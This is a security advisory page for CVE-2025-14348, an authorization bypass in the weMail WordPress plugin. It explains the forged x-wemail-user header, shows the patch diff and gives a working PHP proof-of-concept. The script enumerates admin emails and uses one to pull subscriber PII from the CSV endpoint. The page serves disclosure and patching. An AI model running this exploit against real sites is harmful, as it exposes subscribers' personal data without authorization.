Atomic Edge Proof of Concept automated generator using AI diff analysis
Published : March 18, 2026

CVE-2025-14348: weMail <= 2.0.7 – Insufficient Authorization via x-wemail-user Header to Sensitive Information Disclosure (wemail)

Plugin wemail
Severity Medium (CVSS 5.3)
CWE 285
Vulnerable Version 2.0.7
Patched Version 2.0.8
Disclosed January 18, 2026

Analysis Overview

Atomic Edge analysis of CVE-2025-14348:
The weMail WordPress plugin version 2.0.7 and earlier contains an insufficient authorization vulnerability in its REST API CSV endpoints. The vulnerability allows unauthenticated attackers to bypass authentication by supplying a forged HTTP header, leading to unauthorized access to subscriber data. The CVSS score is 5.3 (Medium severity).

The root cause is the `permission` function in `/wemail/includes/Rest/Csv.php`. This function trusted the `x-wemail-user` HTTP header to identify users without verifying the request originated from an authenticated WordPress session. The function used `get_user_by(’email’, $user_email)` on line 14 to retrieve a user object based solely on the email address provided in the header. If the user existed, the function set the current user via `wp_set_current_user($user->ID)` and returned the result of a capability check. This design allowed any actor to impersonate a user by knowing or guessing their email address.

An attacker exploits this by enumerating admin email addresses via the public WordPress REST API endpoint `/wp-json/wp/v2/users`. The attacker then crafts an HTTP request to the CSV endpoints, such as `/wp-json/wemail/v1/csv/{file_id}/subscribers`, and includes the `x-wemail-user` header set to the enumerated admin email. No authentication cookies, API keys, or nonces are required. The server processes the request as if the admin user made it, returning subscriber PII from imported CSV files.

The patch in version 2.0.8 removes the vulnerable `permission` function entirely from the `Csv` class. It replaces the `permission_callback` for three CSV endpoints (`csv_file_info`, `meta_fields`, and `subscribers`) with three new dedicated functions: `can_csv_upload`, `can_meta_fields`, and `can_get_subscribers`. The patch also updates the `permission` function in `/wemail/includes/Rest/Forms.php` to enforce a three-step check: verifying the user is logged in via `is_user_logged_in()`, checking weMail-specific capabilities, and validating a WordPress REST API nonce via `wp_verify_nonce`. These changes ensure requests originate from a valid WordPress session.

Successful exploitation allows an attacker to exfiltrate subscriber Personally Identifiable Information (PII) stored in imported CSV files. This data includes email addresses, names, and phone numbers. The vulnerability does not grant full administrative access but enables data disclosure from the plugin’s subscriber management system, violating data privacy and potentially facilitating further attacks.

Differential between vulnerable and patched code

Code Diff
--- a/wemail/includes/Rest/Csv.php
+++ b/wemail/includes/Rest/Csv.php
@@ -5,7 +5,6 @@
 use LeagueCsvReader;
 use WP_REST_Response;
 use WP_REST_Server;
-use WP_User_Query;

 class Csv {

@@ -30,7 +29,7 @@
                 ),
                 array(
                     'methods' => WP_REST_Server::READABLE,
-                    'permission_callback' => array( $this, 'permission' ),
+                    'permission_callback' => array( $this, 'can_csv_upload' ),
                     'callback' => array( $this, 'csv_file_info' ),
                 ),
             )
@@ -48,7 +47,7 @@
                 ),
                 array(
                     'methods' => WP_REST_Server::READABLE,
-                    'permission_callback' => array( $this, 'permission' ),
+                    'permission_callback' => array( $this, 'can_meta_fields' ),
                     'callback' => array( $this, 'meta_fields' ),
                 ),
             )
@@ -66,49 +65,13 @@
                 ),
                 array(
                     'methods' => WP_REST_Server::READABLE,
-                    'permission_callback' => array( $this, 'permission' ),
+                    'permission_callback' => array( $this, 'can_get_subscribers' ),
                     'callback' => array( $this, 'subscribers' ),
                 ),
             )
         );
     }

-    public function permission( $request ) {
-        $api_key = $request->get_header( 'X-WeMail-Key' );
-
-        $user_email = $request->get_header( 'x-wemail-user' );
-
-        if ( ! empty( $user_email ) ) {
-            $user = get_user_by( 'email', $user_email );
-
-            if ( $user ) {
-                wp_set_current_user( $user->ID );
-                return wemail()->user->can( 'create_subscriber' );
-            }
-        }
-
-        if ( ! empty( $api_key ) ) {
-            $query = new WP_User_Query(
-                array(
-                    'fields'        => 'ID',
-                    'meta_key'      => 'wemail_api_key',
-                    'meta_value'    => $api_key,
-                )
-            );
-
-            if ( $query->get_total() ) {
-                $results = $query->get_results();
-                $user_id = array_pop( $results );
-
-                wp_set_current_user( $user_id );
-
-                return wemail()->user->can( 'create_subscriber' );
-            }
-        }
-
-        return false;
-    }
-
     private function reader( $file_id ) {
         $file_url = wp_get_attachment_url( $file_id );
         $response = wp_remote_get( $file_url );
--- a/wemail/includes/Rest/Forms.php
+++ b/wemail/includes/Rest/Forms.php
@@ -121,14 +121,36 @@
         );
     }

+    /**
+     * Permission callback for form endpoints
+     * Requires WordPress authentication, weMail role-based capability checks, and nonce verification
+     *
+     * @param WP_REST_Request $request
+     *
+     * @return bool
+     */
     public function permission( $request ) {
-        $nonce = $request->get_header( 'X-WP-Nonce' );
+        // 1. Require WordPress authentication (user must be logged in)
+        if ( ! is_user_logged_in() ) {
+            return false;
+        }
+
+        // 2. Check user has appropriate weMail role-based capabilities
+        if ( ! function_exists( 'wemail' ) || ! method_exists( wemail(), 'user' ) ) {
+            return false;
+        }

-        if ( $nonce && wp_verify_nonce( $nonce, 'wp_rest' ) ) {
-            return true;
+        if ( ! wemail()->user->can( 'manage_form' ) ) {
+            return false;
+        }
+
+        // 3. Require nonce verification for CSRF protection
+        $nonce = $request->get_header( 'X-WP-Nonce' );
+        if ( ! $nonce || ! wp_verify_nonce( $nonce, 'wp_rest' ) ) {
+            return false;
         }

-        return false;
+        return true;
     }

     public function submit( $request ) {
--- a/wemail/includes/WeMail.php
+++ b/wemail/includes/WeMail.php
@@ -23,7 +23,7 @@
      *
      * @var string
      */
-    public $version = '2.0.7';
+    public $version = '2.0.8';

     /**
      * DB version
--- a/wemail/vendor/autoload.php
+++ b/wemail/vendor/autoload.php
@@ -4,4 +4,4 @@

 require_once __DIR__ . '/composer/autoload_real.php';

-return ComposerAutoloaderInit18fef7787195e2a0a9a89e28738fc125::getLoader();
+return ComposerAutoloaderInitbc7f456b1ad6c710a056c0877d6ff1c7::getLoader();
--- a/wemail/vendor/composer/autoload_real.php
+++ b/wemail/vendor/composer/autoload_real.php
@@ -2,7 +2,7 @@

 // autoload_real.php @generated by Composer

-class ComposerAutoloaderInit18fef7787195e2a0a9a89e28738fc125
+class ComposerAutoloaderInitbc7f456b1ad6c710a056c0877d6ff1c7
 {
     private static $loader;

@@ -24,15 +24,15 @@

         require __DIR__ . '/platform_check.php';

-        spl_autoload_register(array('ComposerAutoloaderInit18fef7787195e2a0a9a89e28738fc125', 'loadClassLoader'), true, true);
+        spl_autoload_register(array('ComposerAutoloaderInitbc7f456b1ad6c710a056c0877d6ff1c7', 'loadClassLoader'), true, true);
         self::$loader = $loader = new ComposerAutoloadClassLoader(dirname(dirname(__FILE__)));
-        spl_autoload_unregister(array('ComposerAutoloaderInit18fef7787195e2a0a9a89e28738fc125', 'loadClassLoader'));
+        spl_autoload_unregister(array('ComposerAutoloaderInitbc7f456b1ad6c710a056c0877d6ff1c7', 'loadClassLoader'));

         $useStaticLoader = PHP_VERSION_ID >= 50600 && !defined('HHVM_VERSION') && (!function_exists('zend_loader_file_encoded') || !zend_loader_file_encoded());
         if ($useStaticLoader) {
             require __DIR__ . '/autoload_static.php';

-            call_user_func(ComposerAutoloadComposerStaticInit18fef7787195e2a0a9a89e28738fc125::getInitializer($loader));
+            call_user_func(ComposerAutoloadComposerStaticInitbc7f456b1ad6c710a056c0877d6ff1c7::getInitializer($loader));
         } else {
             $map = require __DIR__ . '/autoload_namespaces.php';
             foreach ($map as $namespace => $path) {
@@ -53,12 +53,12 @@
         $loader->register(true);

         if ($useStaticLoader) {
-            $includeFiles = ComposerAutoloadComposerStaticInit18fef7787195e2a0a9a89e28738fc125::$files;
+            $includeFiles = ComposerAutoloadComposerStaticInitbc7f456b1ad6c710a056c0877d6ff1c7::$files;
         } else {
             $includeFiles = require __DIR__ . '/autoload_files.php';
         }
         foreach ($includeFiles as $fileIdentifier => $file) {
-            composerRequire18fef7787195e2a0a9a89e28738fc125($fileIdentifier, $file);
+            composerRequirebc7f456b1ad6c710a056c0877d6ff1c7($fileIdentifier, $file);
         }

         return $loader;
@@ -70,7 +70,7 @@
  * @param string $file
  * @return void
  */
-function composerRequire18fef7787195e2a0a9a89e28738fc125($fileIdentifier, $file)
+function composerRequirebc7f456b1ad6c710a056c0877d6ff1c7($fileIdentifier, $file)
 {
     if (empty($GLOBALS['__composer_autoload_files'][$fileIdentifier])) {
         $GLOBALS['__composer_autoload_files'][$fileIdentifier] = true;
--- a/wemail/vendor/composer/autoload_static.php
+++ b/wemail/vendor/composer/autoload_static.php
@@ -4,7 +4,7 @@

 namespace ComposerAutoload;

-class ComposerStaticInit18fef7787195e2a0a9a89e28738fc125
+class ComposerStaticInitbc7f456b1ad6c710a056c0877d6ff1c7
 {
     public static $files = array (
         '9e4824c5afbdc1482b6025ce3d4dfde8' => __DIR__ . '/..' . '/league/csv/src/functions_include.php',
@@ -205,9 +205,9 @@
     public static function getInitializer(ClassLoader $loader)
     {
         return Closure::bind(function () use ($loader) {
-            $loader->prefixLengthsPsr4 = ComposerStaticInit18fef7787195e2a0a9a89e28738fc125::$prefixLengthsPsr4;
-            $loader->prefixDirsPsr4 = ComposerStaticInit18fef7787195e2a0a9a89e28738fc125::$prefixDirsPsr4;
-            $loader->classMap = ComposerStaticInit18fef7787195e2a0a9a89e28738fc125::$classMap;
+            $loader->prefixLengthsPsr4 = ComposerStaticInitbc7f456b1ad6c710a056c0877d6ff1c7::$prefixLengthsPsr4;
+            $loader->prefixDirsPsr4 = ComposerStaticInitbc7f456b1ad6c710a056c0877d6ff1c7::$prefixDirsPsr4;
+            $loader->classMap = ComposerStaticInitbc7f456b1ad6c710a056c0877d6ff1c7::$classMap;

         }, null, ClassLoader::class);
     }
--- a/wemail/wemail.php
+++ b/wemail/wemail.php
@@ -6,7 +6,7 @@
  * Plugin URI: https://getwemail.io
  * Author: weDevs
  * Author URI: https://getwemail.io/?utm_source=wp-org&utm_medium=author-uri
- * Version: 2.0.7
+ * Version: 2.0.8
  * License: GPL-3.0
  * License URI: https://www.gnu.org/licenses/gpl-2.0.html
  * Text Domain: wemail

Proof of Concept (PHP)

NOTICE :

This proof-of-concept is provided for educational and authorized security research purposes only.

You may not use this code against any system, application, or network without explicit prior authorization from the system owner.

Unauthorized access, testing, or interference with systems may violate applicable laws and regulations in your jurisdiction.

This code is intended solely to illustrate the nature of a publicly disclosed vulnerability in a controlled environment and may be incomplete, unsafe, or unsuitable for real-world use.

By accessing or using this information, you acknowledge that you are solely responsible for your actions and compliance with applicable laws.

 
PHP PoC
// ==========================================================================
// Atomic Edge CVE Research | https://atomicedge.io
// Copyright (c) Atomic Edge. All rights reserved.
//
// LEGAL DISCLAIMER:
// This proof-of-concept is provided for authorized security testing and
// educational purposes only. Use of this code against systems without
// explicit written permission from the system owner is prohibited and may
// violate applicable laws including the Computer Fraud and Abuse Act (USA),
// Criminal Code s.342.1 (Canada), and the EU NIS2 Directive / national
// computer misuse statutes. This code is provided "AS IS" without warranty
// of any kind. Atomic Edge and its authors accept no liability for misuse,
// damages, or legal consequences arising from the use of this code. You are
// solely responsible for ensuring compliance with all applicable laws in
// your jurisdiction before use.
// ==========================================================================
// Atomic Edge CVE Research - Proof of Concept
// CVE-2025-14348 - weMail <= 2.0.7 - Insufficient Authorization via x-wemail-user Header to Sensitive Information Disclosure

<?php

$target_url = 'https://vulnerable-site.com';

// Step 1: Enumerate user emails via public WordPress REST API
$users_endpoint = $target_url . '/wp-json/wp/v2/users';
$ch = curl_init($users_endpoint);
curl_setopt($ch, CURLOPT_RETURNTRANSFER, true);
curl_setopt($ch, CURLOPT_SSL_VERIFYPEER, false);
$response = curl_exec($ch);
$http_code = curl_getinfo($ch, CURLINFO_HTTP_CODE);
curl_close($ch);

if ($http_code !== 200) {
    die("Failed to enumerate users. HTTP Code: $http_coden");
}

$users = json_decode($response, true);
if (empty($users)) {
    die("No users found.n");
}

// Extract first admin email (assuming at least one exists)
$admin_email = '';
foreach ($users as $user) {
    if (in_array('administrator', $user['roles'] ?? [])) {
        $admin_email = $user['email'];
        break;
    }
}

if (empty($admin_email)) {
    // Fallback to any user email
    $admin_email = $users[0]['email'];
}

echo "Target Admin Email: $admin_emailn";

// Step 2: Exploit the CSV subscriber endpoint using the x-wemail-user header
// This endpoint requires a valid file_id. An attacker might need to guess or find one via other means.
// For demonstration, we use a placeholder ID.
$file_id = 123;
$csv_endpoint = $target_url . "/wp-json/wemail/v1/csv/{$file_id}/subscribers";

$ch = curl_init($csv_endpoint);
$headers = [
    'x-wemail-user: ' . $admin_email,
    'Accept: application/json'
];
curl_setopt($ch, CURLOPT_HTTPHEADER, $headers);
curl_setopt($ch, CURLOPT_RETURNTRANSFER, true);
curl_setopt($ch, CURLOPT_SSL_VERIFYPEER, false);
$response = curl_exec($ch);
$http_code = curl_getinfo($ch, CURLINFO_HTTP_CODE);
curl_close($ch);

echo "Request to CSV Endpoint: $csv_endpointn";
echo "HTTP Response Code: $http_coden";
echo "Response Body:n";
print_r(json_decode($response, true));

?>

Frequently Asked Questions

How Atomic Edge Works

Simple Setup. Powerful Security.

Atomic Edge acts as a security layer between your website & the internet. Our AI inspection and analysis engine auto blocks threats before traditional firewall services can inspect, research and build archaic regex filters.

Get Started

Trusted by Developers & Organizations

Trusted by Developers
Blac&kMcDonaldCovenant House TorontoAlzheimer Society CanadaUniversity of TorontoHarvard Medical School